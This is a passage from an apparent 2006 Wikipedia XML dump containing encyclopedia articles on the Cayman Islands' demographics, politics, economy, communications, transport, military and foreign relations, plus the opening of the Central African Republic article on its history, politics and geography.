'''Net migration rate:''' 13.12 migrant(s)/1,000 population (2000 est.)&lt;br&gt;
''Note:'' Major destination for [[Cuba]]ns trying to migrate to the [[United States]]

'''Sex ratio:'''&lt;br&gt;
''at birth:'' 0.86 male(s)/female&lt;br&gt;
''under 15 years:'' 0.94 male(s)/female&lt;br&gt;
''15-64 years:'' 0.96 male(s)/female&lt;br&gt;
''65 years and over:'' 0.85 male(s)/female&lt;br&gt;
''total population:'' 0.94 male(s)/female (2000 est.)

'''Infant mortality rate:''' 10.44 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''&lt;br&gt;
''total population:'' 78.88 years&lt;br&gt;
''male:'' 76.1 years&lt;br&gt;
''female:'' 81.27 years (2000 est.)

'''Total fertility rate:''' 2.05 children born/woman (2000 est.)

'''Nationality:'''&lt;br&gt;
''noun:'' Caymanian(s)&lt;br&gt;
''adjective:'' Caymanian

'''Ethnic groups:''' mixed 40%, white 20%, black 20%, expatriates of various ethnic groups 20%

'''Religions:''' United Church (Presbyterian and Congregational), Anglican, Baptist, Roman Catholic, Church of God, other Protestant

'''Languages:''' English

'''Literacy:'''&lt;br&gt;
''definition:'' age 15 and over has ever attended school&lt;br&gt;
''total population:'' 98%&lt;br&gt;
''male:'' 98%&lt;br&gt;
''female:'' 98% (1970 est.)
{{Caymans-stub}}
[[Category:Cayman Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the Cayman Islands</title>
    <id>5472</id>
    <revision>
      <id>35791385</id>
      <timestamp>2006-01-19T08:27:15Z</timestamp>
      <contributor>
        <username>TShilo12</username>
        <id>153537</id>
      </contributor>
      <comment>/* Administrative divisions */ wikilinkings</comment>
      <text xml:space="preserve">{{Politics of the Cayman Islands}}
'''Politics of the Cayman Islands''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[overseas territory]], whereby the [[Leader of Government Business]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the Legislative Assembly. The [[Judiciary]] is independent of the executive and the legislature.

The [[Cayman Islands]]' physical isolation under early British colonial rule allowed the development of an indigenous set of administrative and legal traditions which were codified into a constitution in [[1959]]. Although a [[British overseas territory]], the islands are self-governed in nearly all respects. The constitution, or Cayman Islands Order, that now governs the islands came into effect in [[1972]] and was amended in [[1984]].

The Cayman Islands' political system is very stable, bolstered by a tradition of restrained civil governance, sustained economic prosperity, and its relative isolation from foreign policy concerns by virtue of its colonial relationship with the [[United Kingdom]]. Public discussion revolves around public sector expenditure and social services, the pace of additional economic development, and the status of the large foreign national community on the islands.

==Executive branch==
{{office-table}}
|[[Governors of the Cayman Islands|HE The Governor and President of the Cabinet]]
|[[Stuart Jack]], CVO
|
|[[November 23]] [[2005]]
|-
|Hon. [[Leader of Government Business]]
|[[Kurt Tibbetts]]
|[[People's Progressive Movement|PPM]]
|[[May 11]] [[2005]]
|}
The Cabinet has three members appointed by the governor and five members elected by the Legislative Assembly, including the Leader of Government Business.
The British Crown appoints a [[Governors of the Cayman Islands|Governor]], who is recruited from the U.K. [[Foreign &amp; Commonwealth Office]] and serves as the British representative, including his role as the direct representative of [[Elizabeth II of the United Kingdom|Queen Elizabeth II]]. Daily administration of the islands is conducted by the eight-member [[Cabinet]].
The chief secretary, financial secretary, and attorney general are appointed by the governor. Responsibility for defense and foreign affairs resides with the United Kingdom; however, the chief secretary has the portfolio for External Affairs, and the Cayman Government may negotiate certain bilateral matters directly with foreign governments. The remaining five members of the Executive Council are elected by the Assembly and divide the remaining administrative portfolios.

==Legislative branch==
The unicameral [[Legislative Assembly]] is presided over by an independent speaker. The '''Legislative Assembly''' has 18 members, 15 elected members for a four year term in two-seat [[constituency|constituencies]] and 3 members ex officio. Elections are held at the discretion of the governor at least every 4 years. Members of the assembly may introduce bills which, if passed, are then approved, returned, or disallowed by the governor. The U.K. Government also reserves the right to disallow bills approved by the governor.

==Political parties and elections==
{{elect|List of political parties in the Cayman Islands|Elections in the Cayman Islands}}
{{Cayman_Islands_legislative_election,_2005}}
Political parties have operated infrequently in the past, and public officeholders tend to be independents. Since the [[1970s]], groups of candidates have organized themselves into ad hoc coalitions called teams and run on platforms of shared concerns. In November 2000 elections, voters ousted the leader of the government and two other ministers because of legislation enacted to weaken bank secrecy. Seven new members were elected to the Legislative Assembly. 

In the run up to the November 2004 elections the elected politicians polarized into two groups known as the [[United Democratic Party (Cayman Islands)|United Democratic Party]] (UDP) and the [[People's Progressive Movement (Cayman Islands)|People's Progressive Movement]] (PPM), with a third group of former Members of the Legislative Assembly also active but without a common name to identify them. Current issues being debated include the islands' recovery after Hurricane Ivan, UK-Cayman relations (especially with regards to the new Governor,) and the recently implemented visa requirements Cayman has imposed on Jamaicans and vice versa.
Currently, some constituencies have multiple elected representatives depending on the number of registered voters. The recent large number of grants of status, or citizenship, has sparked debate, and the widespread destruction by Hurricane Ivan and the subsequent handling by government has also been criticized.

==Judicial branch==
The four-tiered judicial system is based on English common law and colonial and local statutes. The Cayman Islands Court of Appeal is the highest court on the islands, but a final appeal may be heard by Her Majesty's [[Privy Council of the United Kingdom|Privy Council]] sitting in London.  The [[Chief Justice]] has his seat in the [[Grand Court]], below The [[Court of Appeal]].  The current Chief Justice is Hon. [[Anthony Smellie]] QC, JP.

==Administrative divisions==
Districts: George Town, Bodden Town, West Bay, North Side, East End and Sister Islands ([[Cayman Brac]] and [[Little Cayman]])

==International organization participation==
[[Caricom]] (associate), [[Caribbean Development Bank|CDB]], [[International Criminal Police Organization - Interpol|Interpol]] (subbureau), [[International Olympic Committee|IOC]]

[[Category:Cayman Islands]]

[[fr:Histoire des îles Caïmans]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the Cayman Islands</title>
    <id>5473</id>
    <revision>
      <id>41405584</id>
      <timestamp>2006-02-27T02:45:42Z</timestamp>
      <contributor>
        <ip>216.144.92.214</ip>
      </contributor>
      <text xml:space="preserve">{{CIA}}

'''Economy - overview:'''
With no [[direct taxation]], the [[Cayman Islands]] are a thriving offshore financial center. More than 40,000 companies were registered in the islands as of 2000, including almost 600 [[bank]]s and [[trust company|trust companies]]; banking assets exceed $500 billion. The [[Cayman Islands Stock Exchange]] was opened in 1997. Large corporations based in the Cayman Islands include [[Seagate Technology]], 
[[Semiconductor Manufacturing International Corporation]] (SMIC), [[Garmin]] Ltd. and [[Transocean]] Inc.

[[Tourism]] is also a mainstay, accounting for about 70% of GDP and 75% of foreign currency earnings. The tourist industry is aimed at the luxury market and caters mainly to visitors from [[North America]]. Unspoiled beaches, [[duty-free]] shopping, [[scuba diving]], and deep-sea fishing draw almost a million visitors to the islands each year. About 90% of the islands' food and consumer goods must be imported. The Caymanians enjoy one of the highest outputs per capita and one of the highest standards of living in the world.

From the earliest settlement of the Cayman Islands, economic activity was hindered by isolation and a limited natural resource base. The harvesting of [[sea turtle]]s to resupply passing sailing ships was the first major economic activity on the islands, but local stocks were depleted by the 1790s. Agriculture, while sufficient to support the small early settler population, has always been limited by the scarcity of available land.

The advent of modern transportation and telecommunications in the 1950s led to the emergence of what are now considered the Cayman Islands' &quot;twin pillars&quot; of economic development: international finance and tourism.  The [[Cayman Islands Investment Bureau]] is a Government agency established with the mandate of promoting investment and economic development in the Cayman Islands.

Education is compulsory to the age of 16 and is free to all Caymanian children. Most schools follow the British educational system. Ten primary, one special education, a high school and a middle school ('junior high school') are operated by the government, along with three private high schools. In addition, there is a law school, a university-college and a medical school.

'''GDP:'''
purchasing power parity - $930 million (1997 est.)

'''GDP - real growth rate:'''
5% (1997 est.)

'''GDP - per capita:'''
purchasing power parity - $24,500 (1997 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
1.4%
&lt;br&gt;''industry:''
3.2%
&lt;br&gt;''services:''
95.4% (1994 est.)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
3% (1998)

'''Labor force:'''
19,820 (1995)

'''Labor force - by occupation:'''
agriculture 1.4%, industry 12.6%, services 86% (1995)

'''Unemployment rate:'''
5.1% (1996)

'''Budget:'''
&lt;br&gt;''revenues:''
$265.2 million
&lt;br&gt;''expenditures:''
$248.9 million, including capital expenditures of $NA (1997)

'''Industries:'''
tourism, banking, insurance and finance, construction, construction materials, [[furniture]]

'''Industrial production growth rate:'''
NA%

'''Electricity - production:'''
290 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
100%
&lt;br&gt;''hydro:''
0%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
270 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
[[vegetable]]s, [[fruit]]; [[livestock]], [[turtle]] farming

'''Exports:'''
$2.17 million (1997)

'''Exports - commodities:'''
turtle products, manufactured consumer goods

'''Exports - partners:'''
mostly US

'''Imports:'''
$432 million (1997)

'''Imports - commodities:'''
foodstuffs, manufactured goods

'''Imports - partners:'''
US, Trinidad and Tobago, UK, Netherlands Antilles, Japan

'''Debt - external:'''
$70 million (1996)

'''Economic aid - recipient:'''
$NA

'''Currency:'''
1 Caymanian dollar (CI$) = 100 cents

'''Exchange rates:'''
Caymanian dollars (CI$) per US$1 - 0.83 ([[3 November]] [[1995]]), 0.85 ([[22 November]] [[1993]])

'''Fiscal year:'''
[[1 April]]&amp;ndash;[[31 March]]

:''See also :'' [[Cayman Islands]]


[[Category:Economy of the Cayman Islands|*]]
[[Category:Economies by country|Cayman Islands, the]]</text>
    </revision>
  </page>
  <page>
    <title>Communications on the Cayman Islands</title>
    <id>5474</id>
    <revision>
      <id>29570487</id>
      <timestamp>2005-11-29T07:22:11Z</timestamp>
      <contributor>
        <username>Grutness</username>
        <id>117878</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Telephones - main lines in use:'''
19,000 (1995)

'''Telephones - mobile cellular:'''
2,534 (1995)

'''Telephone system:'''
&lt;br&gt;''domestic:''  [http://www.candw.ky Cable &amp; Wireless]
NA
&lt;br&gt;''international:''
1 submarine coaxial cable; satellite earth station - 1 [[Intelsat]] (Atlantic Ocean)

'''Radio broadcast stations:'''
AM 1, FM 5, shortwave 0 (1998)

'''Radios:'''
36,000 (1997)

'''Television broadcast stations:'''
[http://www.cayman27.com.ky Cayman27]

'''Televisions:'''
7,000 (1997)

'''Internet Service Providers (ISPs):'''
2 (2005) [http://www.candw.ky Cable &amp; Wireless], [http://www.westtel.ky WestTel Ltd.]

'''[[Country codes|Country code]] (Top-level domain):''' KY

:''See also :'' [[Cayman Islands]]


{{Caymans-stub}}

[[Category:Communications by country|Cayman Islands, the]]
[[Category:Communications in the Cayman Islands|*]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation on the Cayman Islands</title>
    <id>5475</id>
    <revision>
      <id>15903682</id>
      <timestamp>2005-01-03T16:52:08Z</timestamp>
      <contributor>
        <username>Chris j wood</username>
        <id>82307</id>
      </contributor>
      <comment>Create [[:Category:Transportation on the Cayman Islands]]</comment>
      <text xml:space="preserve">'''Railways:'''
0 km

'''Highways:'''
&lt;br&gt;''total:''
785 km
&lt;br&gt;''paved:''
785 km ([[As of 2000|2000]])

'''Ports and harbors:'''
[[Cayman Brac]], [[George Town, Cayman Islands|George Town]]

'''Merchant marine:'''
&lt;br&gt;''total:''
123 ships (1,000 GRT or over) totaling 2,402,058 GRT/3,792,094 DWT 
&lt;br&gt;''ships by type:''
bulk 22, cargo 5, chemical tanker 31, container 2, liquefied gas 1, petroleum tanker 21, refrigerated cargo 35, roll on/roll off 5, specialized tanker 1
&lt;br&gt;''note:''
some foreign ships register in the Cayman Islands as a flag of convenience; includes ships from 11 countries among which are: Greece 15, US 5, UK 5, Cyprus 2, Denmark 2, Norway 3 (2002 est.)

'''Airports:'''
3 (2002)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
2
&lt;br&gt;''1,524 to 2,437 m:''
2 (2002)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
1
&lt;br&gt;''914 to 1,523 m:''
1 (2002)

:''See also :'' [[Cayman Islands]]


[[Category:Transportation on the Cayman Islands|*]]</text>
    </revision>
  </page>
  <page>
    <title>Military of the Cayman Islands</title>
    <id>5476</id>
    <revision>
      <id>29570496</id>
      <timestamp>2005-11-29T07:22:23Z</timestamp>
      <contributor>
        <username>Grutness</username>
        <id>117878</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{CIA}}

'''Military branches:'''
Royal Cayman Islands Police Service (RCIPS)

'''Military - note:'''
defense is the responsibility of the [[United Kingdom]]

The '''Cayman Island Cadet Corps''' was formed in march, 2001. 

:''See also :'' [[Cayman Islands]]
{{Caymans-stub}}
[[Category:Cayman Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of the Cayman Islands</title>
    <id>5477</id>
    <revision>
      <id>15903684</id>
      <timestamp>2004-10-11T19:29:24Z</timestamp>
      <contributor>
        <ip>81.153.34.79</ip>
      </contributor>
      <comment>made Mutual Legal Assistance Treaty a link</comment>
      <text xml:space="preserve">The '''foreign relations of the [[Cayman Islands]]''' are largely managed from the [[United Kingdom]], as the islands remain an overseas territory of the UK. However, the Government of the Cayman Islands often resolves important issues with foreign governments alone, without intervention from Britain. Although in its early days, the Cayman Islands' most important relationships were with Britain and [[Jamaica]], in recent years, this has shifted, and they now rely more so on the [[United States]].

Though the Cayman Islands are involved in no major international disputes, they have come under some criticism due to the use of their territory for narcotics trafficking and [[money laundering]]. In an attempt to address this, the Government entered into the Narcotics Agreement of 1984 and the [[Mutual Legal Assistance Treaty]] of 1986 with the United States, in order to reduce the use of their facilities associated with these activities. In more recent years, they have stepped up the fight against money laundering, by limiting banking secrecy, introducing requirements for customer identification and record keeping, and requiring banks to cooperate with foreign investigators.

Due to their status as an overseas territory of the UK, the Cayman Islands have no representation either on the [[United Nations]], or in most other international organizations. However, the Cayman Islands still participates in some international organisations, being a full member of the [[Central Development Bank]] and [[International Olympic Committee]], an associate member of [[Caricom]] and [[UNESCO]], and a member of a subbureau of [[Interpol]].

:''See also :'' [[Cayman Islands]]

[[Category:Cayman Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Central African Republic</title>
    <id>5478</id>
    <revision>
      <id>42018474</id>
      <timestamp>2006-03-03T06:31:36Z</timestamp>
      <contributor>
        <ip>24.87.81.236</ip>
      </contributor>
      <comment>/* French Colonialism */</comment>
      <text xml:space="preserve">:''See also [[Central Africa]] and [[Central African Federation]].''
{{Infobox Country| &lt;!-- If editing infobox, please update [[Template:Country infobox data Central African Republic]] also --&gt; 
common_name 		= Central African Republic|
native_name 		= République Centrafricaine&lt;br&gt;Ködörösêse tî Bêafrîka|
image_flag 		= Flag of the Central African Republic.svg|
image_coat 		= centralaf22.PNG|
image_map 		= LocationCentralAfricanRepublic.png|
national_motto 		= Unité, Dignité, Travail&lt;br&gt;([[French language|French]]: Unity, Dignity, Work)|
national_anthem 	= French version &quot;[[La Renaissance]]&quot; (Sango version &quot;E Zingo&quot;)|
official_languages 	= [[French language|French]] (official), [[Sango language|Sango]], and various tribal languages)|
capital 		= [[Bangui]] |
latd=4|latm=22|latNS=N|longd=18|longm=35|longEW=E|
largest_city 		= Bangui |
government_type 	= [[Republic]] |
leader_titles 		= [[President of the Central African Republic|President]]&lt;br&gt;[[Prime Minister of the Central African Republic|Prime Minister]]|
leader_names 		= [[François Bozizé]]&lt;br&gt;[[Elie Doté]]|
area 			= 622,984|
areami²                 =  240,535.5 |&lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
area_rank=42nd|
area_magnitude=1 E10|
percent_water=0|
population_estimate 	= 3,683,538|
population_estimate_year=2003|
population_estimate_rank=124th|
population_density 	= 5.8|
population_densitymi²   = 15.0 |&lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank    = 181st |
population_census 	  = 8,032,926|
population_census_year   = 2003|
GDP_PPP 		= $4.53 billion|
GDP_PPP_year            = 2005|
GDP_PPP_rank            = 156th|
GDP_PPP_per_capita 	= $1,107|
GDP_PPP_per_capita_rank = 172nd|
HDI_year                 = 2003 |
HDI                      = 0.355 |
HDI_rank                 = 171st |
HDI_category             = &lt;font color=&quot;#E0584E&quot;&gt;low&lt;/font&gt; |
sovereignty_type 	= [[Independence]]|
established_events 	= From France|
established_dates=&lt;br&gt;[[August 13]], [[1960]]|
currency 	 	= [[CFA franc|Franc]]&amp;sup1;|
currency_code=XAF|
time_zone 	 	= [[Coordinated Universal Time|CUT]] |
utc_offset=+1 |
time_zone_DST           = ''not observed'' |
utc_offset_DST          =+1 |
cctld		 	= [[.cf]] |
calling_code	 	= 236|
footnotes               = 
}}

The '''Central African Republic''' ([[French language|French]]: ''République Centrafricaine'') is a [[landlocked]] country in [[central Africa]]. It borders [[Chad]] in the north, [[Sudan]] on the east, the [[Republic of the Congo]] and the [[Democratic Republic of the Congo]] on the south, and [[Cameroon]] on the west. Most of the CAR consists of Sudano-Guinean savannas but it also includes a [[Sahelo-Sudanese]] zone in the north and an Equatorial forest zone in the south. Two thirds of the country lies in the basins of the [[Ubangi]] river, which flows south into the [[Congo River]], while the remaining third lies in the basin of the [[Shari]] river, which flows north into [[Lake Chad]]. Since most of the territory is located in the Ubangi and Shari river basins, the French called the colony it carved out in this region [[Ubangi-Shari]], or [[Oubangui-Chari]] in French. This French colony of Ubangi-Shari became a semi-autonomous territory of the [[French Community]] in 1958 and then an independent nation on 13 August 1960.  For over three decades since independence the CAR was ruled by presidents who were not chosen in truly democratic elections or who took power by force. The first fair democratic elections were held in 1993 and brought [[Ange-Félix Patassé]] to power, but President Patassé was overthrown by General [[François Bozizé]] in 2003.  General Bozizé won a democratic election in May 2005 and remains in power today. 

== History ==
{{main|History of the Central African Republic}}

===Prehistory===

Between about 1000 BCE and 1000 CE, [[Adamawa-Eastern]]-speaking peoples spread eastward from Cameroon to Sudan and settled in most of the territory of the CAR. During the same period, a much smaller number of [[Bantu]]-speaking immigrants settled in southwestern CAR and some [[Central Sudanic]]-speaking populations settled along the CAR's northern borderlands with Chad. The majority of the CAR's inhabitants thus speak Adamawa-Eastern languages or Bantu languages belonging to the [[Niger-Congo]] family. A minority speak Central Sudanic languages of the [[Nilo-Saharan]] family. More recent immigrants include many Muslim merchants who most often speak Arabic or Hausa.

===Exposure to the outside world===

Until the early 1800s, the peoples of the CAR lived beyond the expanding Islamic frontier in the Sudanic zone of Africa and thus had relatively little contact with world religions or the world economy. During the first decades of the nineteenth century, however, Muslim traders began increasingly to penetrate the region of the CAR and to cultivate special relations with local leaders in order to facilitate their trade and settlement in the region. The initial arrival of Muslim traders in the early 1800s was relatively peaceful and depended upon the support of local peoples, but after about 1850, slave traders with well-armed soldiers began to penetrate the region. Between c. 1860 and 1910, slave traders from [[Sudan]], [[Chad]], [[Cameroon]], [[Dar al-Kuti]] in northern CAR and [[Nzakara]] and [[Zande]] states in southeastern CAR exported much of the population of eastern CAR, a region with very few inhabitants today.

===French Colonialism===

European penetration of Central African territory began in the late nineteenth century during the [[Scramble for Africa]] (c. 1875-1900). Count [[Savorgnan de Brazza]] took the lead in establishing the [[French Congo]] with headquarters in the city named after him, [[Brazzaville]], and sent expeditions up the Ubangi river in an effort to expand France's claims to territory in Central Africa. [[King Leopold II]] of [[Belgium]], [[Germany]] and the [[United Kingdom]] also competed to establish their claims to territory in the Central African region. In 1889 the French established a post on the Ubangi river at [[Bangui]], the future capital of [[Ubangi-Shari]] and the CAR. De Brazza then sent expeditions in 1890-91 up the [[Sangha River]] in what is now southwestern CAR, up the center of the Ubangi basin toward [[Lake Chad]], and eastward along the Ubangi river toward the [[Nile]]. De Brazza and the procolonial in France wished to expand the borders of the French Congo to link up with French territories in [[West Africa]], [[North Africa]] and [[East Africa]]. In 1894, the French Congo's borders with Leopold II's [[Congo Free State]] and German Cameroon were fixed by diplomatic agreements. Then, in 1899, the French Congo's border with Sudan was fixed along the Congo-Nile watershed, leaving France without her much coveted outlet on the Nile and turning southeastern Ubangi-Shari into a cul-de-sac.

Once European negotiators agreed upon the borders of the French Congo, France had to decide how to pay for the costly occupation, administration, and development of the territory. The reported financial successes of Leopold II's concessionary companies in the Congo Free State convinced the French government in 1899 to grant 17 private companies large concessions in the Ubangi-Shari region. In return for the right to exploit these lands by buying local products and selling European goods, the companies promised to pay rent to the colonial state and to promote the development of their concessions. The companies employed European and African agents who frequently used extremely brutal and atrocious methods to force Central Africans to work for them. At the same time, the French colonial administration began to force Central Africans to pay taxes and to provide the state with free labor. The companies and French administration often collaborated in their efforts to force Central Africans to work for their benefit, but they also often found themselves at odds. Some French officials reported abuses committed by private company militias and even by their own colonial colleagues and troops, but efforts to bring these criminals to justice almost always failed. When news of terrible atrocities committed against Central Africans by concessionary company employees and colonial officials or troops reached France and caused an outcry, there were investigations and some feeble attempts at reform, but the situation on the ground in Ubangi-Shari remained essentially the same.  

In the meantime, during the first decade of French colonial rule (c. 1900-1910), the rulers of African states in the Ubangi-Shari region increased their slave raiding activities and also their sale of local products to European companies and the colonial state. They took advantage of their treaties with the French to procure more weapons which were used to capture more slaves and so much of the eastern half of Ubangi-Shari was depopulated as a result of the export of Central Africans by local rulers during the first decade of colonial rule. Those who had power, Africans and Europeans, often made life miserable for those who did not have the power to resist. 

During the second decade of French colonial rule (c. 1910-1920), armed employees of private companies and the colonial state continued to use brutal methods to deal with local populations who resisted forced labor but the power of local African rulers was destroyed and so slave raiding was greatly diminished. In 1911, the Sangha and Lobaye basins were ceded to Germany as part of an agreement which gave France a free-hand in Morocco and so western Ubangi-Shari came under German rule until World War I, duing which France reconquered this territory by using Central African troops.

The third decade of French colonial rule (1920-30) was a period of transition during which a network of roads was built, cash crops were promoted, mobile health services were formed to combat sleeping sickness, and Protestant missions established stations in different parts of the country. New forms of forced labor were also introduced, however, as the French conscripted large numbers of Ubangians to work on the [[Congo-Ocean railway]] and many of these recruits died of exhaustion and illness. In 1925 the French writer [[André Gide]] published [[Voyage au Congo]] in which he described the alarming consequences of conscription for the Congo-Ocean railroad and exposed the continuing atrocities committed against Central Africans in western Ubangi-Shari by employees of the Forestry Company of Sangha-Ubangi, for example.  In 1928 a major insurrection, the [[Kongo-Wara]] 'war of the hoe handle' broke out in western Ubangi-Shari and continued for several years. The extent of this insurrection, perhaps the largest anticolonial rebellion in Africa during the interwar years, was carefully hidden from the French public because it provided evidence, once again, of strong opposition to French colonial rule and forced labor. 

During the fourth decade of colonial rule (c. 1930-1940), [[cotton]] [[tea]] [[coffee]] emerged as important cash crops in Ubangi-Shari and the mining of [[diamond]]s and [[gold]] began in earnest. Several cotton companies were granted purchasing monopolies over large areas of cotton production and were thus able to fix the prices paid to cultivators in order to assure profits for their shareholders. Europeans established coffee plantations and Central Africans also began to cultivate coffee. 

The fifth decade of colonial rule (c. 1940-1950) was shaped by the [[World War II|Second World War]] and the political reforms which followed in its wake. In September 1940 pro-Gaullist French officers took control of Ubangi-Shari.

===Independence===

On [[1 December]] [[1958]] the colony of Ubangi-Shari became an autonomous territory within the [[French Community]] and took the name Central African Republic. The founding father and president of the &quot;Conseil de Gouvernement,&quot; [[Barthélémy Boganda]], died in a mysterious plane accident in 1959, just eight days before the last elections of the colonial era. On [[13 August]] [[1960]] the Central African gained its independence and two of Boganda's closest aides, [[Abel Goumba]] and [[David Dacko]], became involved in a power struggle. With the backing of the French, Dacko took power and soon had Goumba arrested. By 1962 President Dacko had established a one-party state. 

On [[31 December]] [[1965]] Dacko was overthrown by Colonel [[Jean-Bédel Bokassa]], who suspended the constitution and dissolved the National Assembly. President Bokassa declared himself President for life in 1972 and had himself named Emperor Bokassa I on [[4 December]] [[1977]]. Bokassa was crowned in a lavish and expensive ceremony that was ridiculed by much of the world. In 1979 France carried out a coup against Bokassa and &quot;restored&quot; Dacko to power. Dacko, in turn, was overthrown in a coup by General [[André Kolingba]] on [[1 September]] [[1981]]. 

Kolingba suspended the constitution and ruled with a military junta until 1985. He introduced a new constitution in 1986 which was adopted by a nationwide referendum. Membership in his new party, the [[Rassemblement Démocratique Centrafricain]] (RDC) was voluntary. In 1987, semi-competitive elections to parliament were held and municipal elections were held in 1988. Kolingba's two major political opponents, Abel Goumba and [[Ange-Félix Patassé]], boycotted these elections because their parties were not allowed to compete. 

By 1990, after the fall of the Berlin Wall, a pro-democracy movement became very active. In [[May 1990]] a letter signed by 253 prominent citizens asked for the convocation of a National Conference but Kolingba refused this request and detained several opponents. Pressure from the United States and, more reluctantly, from France, finally led Kolingba to agree, in principle, to hold free elections in [[October 1992]]. After using the excuse of alleged irregularities to suspend the elections, President Kolingba came under intense pressure from the international community to establish a &quot;Conseil National Politique Provisoire de la République&quot; (Provisional National Political Council) (CNPPR) and to set up a &quot;Mixed Electoral Commission&quot; which included representatives from all political parties. 

When elections were finally held in 1993, Ange-Félix Patassé came in first in the first round and Kolingba came in fourth after Abel Goumba and David Dacko. In the second round, Patassé won 52.5 percent of the vote while Goumba won 45.6 percent. Most of Patassé's support came from Gbaya, Kare and Kaba voters in seven heavily-populated prefectures in the northwest while Goumba's support came largely from ten less-populated prefectures in the south and east. Furthermore, Patassé's party, the ''Mouvement pour la Libération du Peuple Centrafricain'' (MLPC) or Movement for the Liberation of the Central African People gained a simple but not an absolute majority of seats in parliament, which meant Patassé needed coalition partners. 

Patassé relieved former President Kolingba of his military rank of general in March of 1994 and then charged several former ministers with various crimes. Patassé also removed many [[Yakoma]] from important, lucrative posts in the government. Two hundred mostly Yakoma members of the presidential guard were also dismissed or reassigned to the army. Kolingba's RDC loudly proclaimed that Patassé's government was conducting a &quot;witch hunt&quot; against the Yakoma. 

A new constitution was approved on [[28 December]] [[1994]] and promulgated on [[14 January]] [[1995]], but this constitution, like those before it, did not have much impact on the practice of politics. In 1996-1997, three mutinies against Patassé's government was accompanied by widespread destruction of property and heightened ethnic tension. On 25 January 1997, the Bangui Peace Accords were signed which provided for the deployment of an inter-African military mission, the ''Mission Interafricaine de Surveillance des Accords de Bangui'' (MISAB). Mali's former president, [[Amadou Touré]], served as chief mediator and brokered the entry of ex-mutineers into the government on [[7 April]] [[1997]]. The MISAB mission was later replaced by a U.N. peacekeeping force, the ''Mission des Nations Unis en RCA'' (MINURCA). 

In 1998 parliamentary elections resulted in Kolingba' RDC winning 20 out of 109 seats, which constituted a comeback, but in 1999 Patassé won free elections to become president for a second term. On [[28 May]] [[2001]] rebels stormed stategic buildings in Bangui in an unsuccessful coup attempt. The army chief of staff, Abel Abrou, and General Francois N'Djadder Bedaya were shot, but Patassé regained the upper hand by bringing in at least 300 troops of the rebel leader [[Bemba]] from over the river in the [[Democratic Republic of the Congo]] and by Libyan soldiers. 

In the aftermath of this failed coup, militias loyal to Patassé sought revenge against rebels in many neighborhoods of the capital, Bangui, that resulted the destruction of many homes as well as the torture and murder of many opponents. Eventually Patassé came to suspect that General [[François Bozizé]] was involved in another coup attempt against him and so Bozizé fled with loyal troops to Chad. On [[25 October]] [[2002]] Bozizé launched a surprise attack against Patassé, who was out of the country. Libyan troops and some 1,000 soldiers of Bemba's Congolese rebel organization failed to stop the rebels, who took control of the country and thus succeeded in overthrowing Patassé. 

François Bozizé suspended the constitution and named a new cabinet which included most opposition parties. Abel Goumba, &quot;Mr. Clean&quot;, was named vice-president, which gave Bozizé's new government a positive image. Bozizé established a broad-based National Transition Council to draft a new constitution and announced that he would step down and run for office once the new constitution was approved. A national dialogue was held from [[15 September]] to [[27 October]] [[2003]], and Bozizé won a fair election as president, on a second ballot, in May 2005.

== Politics ==
{{Politics of Central African Republic}}
The country is currently under the rule of [[François Bozizé]]. A new constitution was approved by voters in a referendum held on [[December 5]] [[2004]]. Full multiparty [[Central African Republic elections, 2005|presidential and parliamentary elections]] were held in March 2005,  [http://www.alertnet.org/thenews/newsdesk/IRIN/87ba6e292f78b0bc6dbbaeb9c2ef6bd9.htm] with a second round in May. Bozizé was declared the winner after a [[Runoff voting|run off vote]] [http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1067615.stm].

== Prefectures ==
{{main|Prefectures of the Central African Republic}}

The territory is divided into 14 administrative [[prefecture]]s, along with 2 economic prefectures and one autonomous [[commune (subnational entity)|commune]]. The prefectures are further divided into 71 sub-prefectures.

== Geography ==
{{main|Geography of the Central African Republic}}
[[Image:central african republic sm04.png|thumb|left|Map of the Central African Republic]]

This is an entirely land-locked nation within the interior of the African continent. Much of the country consists of flat, or rolling plateau [[savanna]], typically about 1,640&amp;nbsp;[[foot (unit of length)|feet]] (500&amp;nbsp;m) above sea level. In the northeast are the Fertit Hills, and there are scattered hills in southwest part of the country. To the northwest is the Yade Massif, a [[granite]] plateau with an altitude of 3,750 feet (1,143&amp;nbsp;m).

Much of the southern border is formed by tributaries of the [[Congo River]], with the [[Mbomou River]] in the east merging with the [[Uele River]] to form the [[Ubangi River]]. In the west, the [[Sangha River]] flows through part of the country. The eastern border lies along the edge of the [[Nile river]] [[watershed]].

Estimates of the amount of the country covered by forest ranges up to 75%, with the densest parts in the south. The forest is highly diverse, and includes commercially important species of Ayous, Sapelli and Sipo.[http://www.forestsmonitor.org/reports/solddownriver/car.htm] The current deforestation rate is 0.4% per annum, and lumber poaching is commonplace.&lt;!-- http://carpe.umd.edu/products/carpe_cd_02/CARPE_Briefs/congo_06.html --&gt;

The climate of the C.A.R. is generally [[tropic]]al. The northern areas are subject to [[harmattan]] winds, which are hot, dry, and carry dust. The northern regions have been subject to [[desertification]], and the northeast is desert. The remainder of the country is prone to flooding from nearby rivers.

== Economy ==
{{main|Economy of the Central African Republic}}

